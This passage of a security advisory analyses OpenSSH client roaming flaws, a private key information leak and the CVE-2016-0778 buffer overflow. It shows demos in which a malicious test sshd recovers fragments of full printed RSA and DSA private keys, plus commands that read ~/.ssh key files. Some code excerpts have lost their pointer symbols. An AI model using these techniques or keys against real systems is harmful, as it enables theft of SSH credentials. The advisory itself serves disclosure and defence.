$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0= -----END RSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:2048" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-35ee7ab0/infoleak

MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-6cb31d82/infoleak

... uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=

Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key

$ head -n 1 /etc/motd OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015

$ /usr/bin/ssh -V OpenSSH_7.0, LibreSSL 2.2.2

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s 17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8 L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19 qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB +s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG 8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg== -----END RSA PRIVATE KEY-----

"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1 [connection suspended, press return to resume]Segmentation fault (core dumped)

(this example requires a ProxyCommand because of the NULL-aitop bug described in the Mitigating Factors of the Information Leak section, and crashes because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section)

cat /tmp/roaming-a5eca355/infoleak

ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==

Private Key Disclosure example: CentOS 7, 1024-bit DSA key

$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="CentOS Linux 7 (Core)"

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2 hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4= -----END DSA PRIVATE KEY-----

env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 ...

strings /tmp/roaming-b7b16dfc/infoleak

jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5

strings /tmp/roaming-b324ce87/infoleak

IuQL R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9v

strings /tmp/roaming-24011739/infoleak

KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC

strings /tmp/roaming-37456846/infoleak

LsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA yq4Kwj/

strings /tmp/roaming-988ff54c/infoleak

GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/

strings /tmp/roaming-53887fa5/infoleak

/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4

Private Key Disclosure example: Fedora 20, 2048-bit RSA key

$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="Fedora 20 (Heisenbug)"

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ /B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy 2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5 r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+ ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU= -----END RSA PRIVATE KEY-----

env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 ...

strings /tmp/roaming-a2bbc5f6/infoleak

cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG

strings /tmp/roaming-47b46456/infoleak

RGAcE0nc GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9

strings /tmp/roaming-7a6717ae/infoleak

cawMW4LZ1 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p

strings /tmp/roaming-f3091f08/infoleak

lZ3w0qHe nSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ

strings /tmp/roaming-62a9e9a3/infoleak

lZ3w0qHe r3TwTa0pPEk11 LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37P

strings /tmp/roaming-8de31ed5/infoleak

7qyvNznQ 26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa

strings /tmp/roaming-f5e0fbcc/infoleak

yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxS

strings /tmp/roaming-9be933df/infoleak

QRtzK/GpRuMC1 C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT

strings /tmp/roaming-ee4d1e6c/infoleak

SG3aTqYp tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s

strings /tmp/roaming-c2bfd69c/infoleak

SG3aTqYp 6JmTOun5zVV6A H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s

strings /tmp/roaming-2b3217a1/infoleak

DGLfFGdO r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ

strings /tmp/roaming-1e275747/infoleak

g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+

======================================================================== Buffer Overflow (CVE-2016-0778) ========================================================================

Analysis

Support for roaming was elegantly added to the OpenSSH client: the calls to read() and write() that communicate with the SSH server were replaced by calls to roaming_read() and roaming_write(), two wrappers that depend on wait_for_roaming_reconnect() to transparently reconnect to the server after a disconnection. The wait_for_roaming_reconnect() routine is essentially a sequence of four subroutines:

239 int 240 wait_for_roaming_reconnect(void) 241 { ... 250 fprintf(stderr, "[connection suspended, press return to resume]"); ... 252 packet_backup_state(); 253 / TODO Perhaps we should read from tty here / 254 while ((c = fgetc(stdin)) != EOF) { ... 259 if (c != '\n' && c != '\r') 260 continue; 261 262 if (ssh_connect(host, &hostaddr, options.port, ... 265 options.proxy_command) == 0 && roaming_resume() == 0) { 266 packet_restore_state(); ... 268 fprintf(stderr, "[connection resumed]\n"); ... 270 return 0; 271 } 272 273 fprintf(stderr, "[reconnect failed, press return to retry]"); ... 275 } 276 fprintf(stderr, "[exiting]\n"); ... 278 exit(0); 279 }

  1. packet_backup_state() close()s connection_in and connection_out (the old file descriptors that connected the client to the server), and saves the state of the suspended SSH session (for example, the encryption and decryption contexts).

  2. ssh_connect() opens new file descriptors, and connects them to the SSH server.

  3. roaming_resume() negotiates the resumption of the suspended SSH session with the server, and calls resend_bytes().

  4. packet_restore_state() updates connection_in and connection_out (with the new file descriptors that connect the client to the server), and restores the state of the suspended SSH session.

The new file descriptors for connection_in and connection_out may differ from the old ones (if, for example, files or pipes or sockets are opened or closed between two successive ssh_connect() calls), but unfortunately historical code in OpenSSH assumes that they are constant:

  • In client_loop(), the variables connection_in and connection_out are cached locally, but packet_write_poll() calls roaming_write(), which may assign new values to connection_in and connection_out (if a reconnection occurs), and client_wait_until_can_do_something() subsequently reuses the old, cached values.

  • client_loop() eventually updates these cached values, and the following FD_ISSET() uses a new, updated file descriptor (the fd connection_out), but an old, out-of-date file descriptor set (the fd_set writeset).

  • packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API) first calloc()ates setp, a file descriptor set for connection_in; next, it loops around memset(), FD_SET(), select() and roaming_read(); last, it free()s setp and returns. Unfortunately, roaming_read() may reassign a higher value to connection_in (if a reconnection occurs), but setp is never enlarged, and the following memset() and FD_SET() may therefore overflow setp (a heap-based buffer overflow):

1048 int 1049 packet_read_seqnr(u_int32_t seqnr_p) 1050 { .... 1052 fd_set setp; .... 1058 setp = (fd_set )xcalloc(howmany(active_state->connection_in + 1, 1059 NFDBITS), sizeof(fd_mask)); .... 1065 for (;;) { .... 1075 if (type != SSH_MSG_NONE) { 1076 free(setp); 1077 return type; 1078 } .... 1083 memset(setp, 0, howmany(active_state->connection_in + 1, 1084 NFDBITS) * sizeof(fd_mask)); 1085 FD_SET(active_state->connection_in, setp); .... 1092 for (;;) { .... 1097 if ((ret = select(active_state->connection_in + 1, setp, 1098 NULL, NULL, timeoutp)) >= 0) 1099 break; .... 1115 } .... 1117 do { .... 1119 len = roaming_read(active_state->connection_in, buf, 1120 sizeof(buf), &cont); 1121 } while (len == 0 && cont); .... 1130 } 1131 / NOTREACHED */ 1132 }

  • packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is basically similar to packet_read_seqnr() and may overflow its own setp if roaming_write() (called by packet_write_poll()) reassigns a higher value to connection_out (after a successful reconnection):

1739 void 1740 packet_write_wait(void) 1741 { 1742 fd_set setp; .... 1746 setp = (fd_set )xcalloc(howmany(active_state->connection_out + 1, 1747 NFDBITS), sizeof(fd_mask)); 1748 packet_write_poll(); 1749 while (packet_have_data_to_write()) { 1750 memset(setp, 0, howmany(active_state->connection_out + 1, 1751 NFDBITS) * sizeof(fd_mask)); 1752 FD_SET(active_state->connection_out, setp); .... 1758 for (;;) { .... 1763 if ((ret = select(active_state->connection_out + 1, 1764 NULL, setp, NULL, timeoutp)) >= 0) 1765 break; .... 1776 } .... 1782 packet_write_poll(); 1783 } 1784 free(setp); 1785 }

Mitigating Factors

This buffer overflow affects all OpenSSH clients >= 5.4, but its impact is significantly reduced by the Mitigating Factors detailed in the Information Leak section, and additionally:

  • OpenSSH versions >= 6.8 reimplement packet_backup_state() and packet_restore_state(), but introduce a bug that prevents the buffer overflow from being exploited; indeed, ssh_packet_backup_state() swaps two local pointers, ssh and backup_state, instead of swapping the two global pointers active_state and backup_state:

9 struct ssh active_state, backup_state; ... 238 void 239 packet_backup_state(void) 240 { 241 ssh_packet_backup_state(active_state, backup_state); 242 } 243 244 void 245 packet_restore_state(void) 246 { 247 ssh_packet_restore_state(active_state, backup_state); 248 }

2269 void 2270 ssh_packet_backup_state(struct ssh ssh, 2271 struct ssh backup_state) 2272 { 2273 struct ssh tmp; .... 2279 if (backup_state) 2280 tmp = backup_state; 2281 else 2282 tmp = ssh_alloc_session_state(); 2283 backup_state = ssh; 2284 ssh = tmp; 2285 } .... 2291 void 2292 ssh_packet_restore_state(struct ssh ssh, 2293 struct ssh backup_state) 2294 { 2295 struct ssh tmp; .... 2299 tmp = backup_state; 2300 backup_state = ssh; 2301 ssh = tmp; 2302 ssh->state->connection_in = backup_state->state->connection_in;

As a result, the global pointer backup_state is still NULL when passed to ssh_packet_restore_state(), and crashes the OpenSSH client when dereferenced:

env ROAMING="overflow:A fd_leaks:0" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Segmentation fault (core dumped)

This bug prevents the buffer overflow from being exploited, but not the information leak, because the vulnerable function resend_bytes() is called before ssh_packet_restore_state() crashes.

File Descriptor Leak

A back-of-the-envelope calculation indicates that, in order to increase the file descriptor connection_in or connection_out, and thus overflow the file descriptor set setp in packet_read_seqnr() or packet_write_wait(), a file descriptor leak is needed:

  • First, the number of bytes calloc()ated for setp is rounded up to the nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors) on 64-bit systems.

  • Next, in glibc, this number is rounded up to the nearest multiple of MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit systems.

  • Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit systems, of which 24 bytes (or 192 file descriptors) are reserved for setp.

  • In conclusion, a file descriptor leak is needed, because connection_in or connection_out has to be increased by hundreds in order to overflow setp.

The search for a suitable file descriptor leak begins with a study of the behavior of the four ssh_connect() methods, when called for a reconnection by wait_for_roaming_reconnect():

  1. The default method ssh_connect_direct() communicates with the server through a simple TCP socket: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old TCP socket is close()d by packet_backup_state(), but immediately reused for the new TCP socket in ssh_connect_direct(): the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.

  1. The special ProxyCommand "-" communicates with the server through stdin and stdout, but (as explained in the Mitigating Factors of the Information Leak section) it cannot possibly reconnect to the server, and is therefore immune to this buffer overflow.

  2. Surprisingly, we discovered a file descriptor leak in the ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor sp[1] is never close()d:

101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 106 int sp[2], sock; ... 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0) 114 fatal("Could not create socketpair to communicate with " 115 "proxy dialer: %.100s", strerror(errno)); ... 161 close(sp[0]); ... 164 if ((sock = mm_receive_fd(sp[1])) == -1) 165 fatal("proxy dialer did not pass back a connection"); ... 171 / Set the connection file descriptors. / 172 packet_set_connection(sock, sock); 173 174 return 0; 175 }

However, two different reasons prevent this file descriptor leak from triggering the setp overflow:

